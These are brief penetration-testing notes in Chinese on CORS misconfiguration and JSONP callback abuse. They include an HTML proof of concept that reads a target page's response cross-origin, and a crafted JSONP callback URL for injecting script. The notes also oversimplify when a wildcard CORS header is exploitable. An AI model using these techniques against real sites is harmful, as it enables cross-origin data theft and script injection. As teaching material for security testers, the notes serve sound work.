CORS跨域资源共享
响应标头中
当Access-Control-Allow-Origin字段为*时,就代表任意域都可以访问,就导致了Cors漏洞的产生
构造poc
<!DOCTYPE>
<html>
<script type="text/javascript">
function loadXMLDoc()
{
var xhr = new XMLHttpRequest();
xhr.onreadystatechange=function()
{
if(xhr.readyState == 4 && xhr.status == 200) //if receive xhr response
{
var datas=xhr.responseText;
alert(datas);
}
}
//request vuln page
xhr.open("GET","http://www.target.com","true") //网页地址
xhr.send();
}
loadXMLDoc();
</script>
</html>
JSONP回调
信息泄露
burp jsonp_hunter 抓取回调
jsonpxss
条件1:返回content-type为text/html
条件2:get或post中的callback参数可控
get 生成url
post 生成csrf页面
如有一个API端口为"http://Evi1s7.com/api"
构造一个恶意URL https://Evi1s7.com/api?callback=attackerFunction
在attackerFunction中注入恶意脚本